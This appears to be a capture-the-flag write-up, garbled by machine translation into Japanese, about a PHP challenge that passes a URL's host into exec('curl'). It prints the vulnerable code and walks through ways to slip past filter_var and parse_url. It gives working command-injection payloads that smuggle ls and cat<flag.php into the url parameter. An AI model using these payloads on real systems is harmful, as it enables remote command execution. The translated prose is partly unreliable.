運動の記録
コードを再現:
index.phpを
<?php
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
$site_info = parse_url($url);
if(preg_match('/sec-pz.com$/',$site_info['host'])){
exec('curl "'.$site_info['host'].'"', $result);
echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
<center><textarea rows='20' cols='90'>";
echo implode(' ', $result);
}
else{
die("<center><h1>Error: Host not allowed</h1></center>");
}
}
else{
echo "<center><h1>Just curl sec-pz.com!</h1></center><br>
<center><h3>For example:?url=http://sec-pz.com</h3></center>";
}
?>
flag.php
<?php
$flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
?>
脆弱性分析:
サイトを入力します。
http://192.168.1.139/PHPcode/day2/?url=
正しくページを発見、あなたが動作することができます。
この質問は検査されfilter_var
、リモートコマンド実行で機能のバイパス。次のコードは、プログラムの用途はexec
、実行するために機能するcurl
コマンドに到達するのは非常に簡単であるコマンドを、。
exec('curl "'.$site_info['host'].'"', $result);
我々はスプライシングを探してコマンドが$site_info['host']
から来ています。
:次のようにタイトル行で2-4、
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
$site_info = parse_url($url);
私たちは見ることができる$site_info
変数は、ユーザーのから来ているurl
を通じてパラメータfilter_var
とparse_url
の二つの機能のフィルタ。その後、
if(preg_match('/sec-pz.com$/',$site_info['host'])){
また、ときに提供url
するパラメータの値がsec-pz.com
時間の終わりに、実行するexec
機能。
だから、バイパスましょうフィルタは、私は関数にfilter_varを説明するために、別のブログ記事を持っている:ここでは、次のように、いくつかのバイパス方法ですfilter_var
FILTER_VALIDATE_URL
http://192.168.1.139/PHPcode/day2/index.php?url=http://[email protected]
http://192.168.1.139/PHPcode/day2/index.php?url=demo://demo.com,sec-pz.com
http://192.168.1.139/PHPcode/day2/index.php?url=demo://demo.com:80;sec-pz.com:80/
http://192.168.1.139/PHPcode/day2/index.php?url=http://demo.com#sec-pz.com
PS:最后一个payload的#符号,请换成对应的url编码 %23
次へバイパスparse_url
機能、
でもparse_url機能を説明
そして満足$site_info['host']
の値をsec-pz.com
終了、ペイロードは、次のとおりです。
http://192.168.1.139/PHPcode/day2/index.php?url=demo://";ls;#;sec-pz.com:80/
結果が示されています。
私たちが直接使用する場合はcat flag.php
timeコマンドを、していなかったfilter_var
、それはスペースが含まれているため、我々は交換できるように、テスト機能cat<flag.php
特定のペイロードを次のようにコマンドを、あなたは成功したフラグを取得することができます:
http://192.168.1.139/PHPcode/day2/index.php?url=demo://";cat<flag.php;%23;sec-pz.com:80/
filter_var
バイパス詳細に機能を、あなたはこの記事を参照することができます:バイパスにfilter_var()にどのようにのSSRFのヒントコマンドバイパス技術で、我々はこの記事を参照することができます:CTFでバイパスを実行するために、ヒント。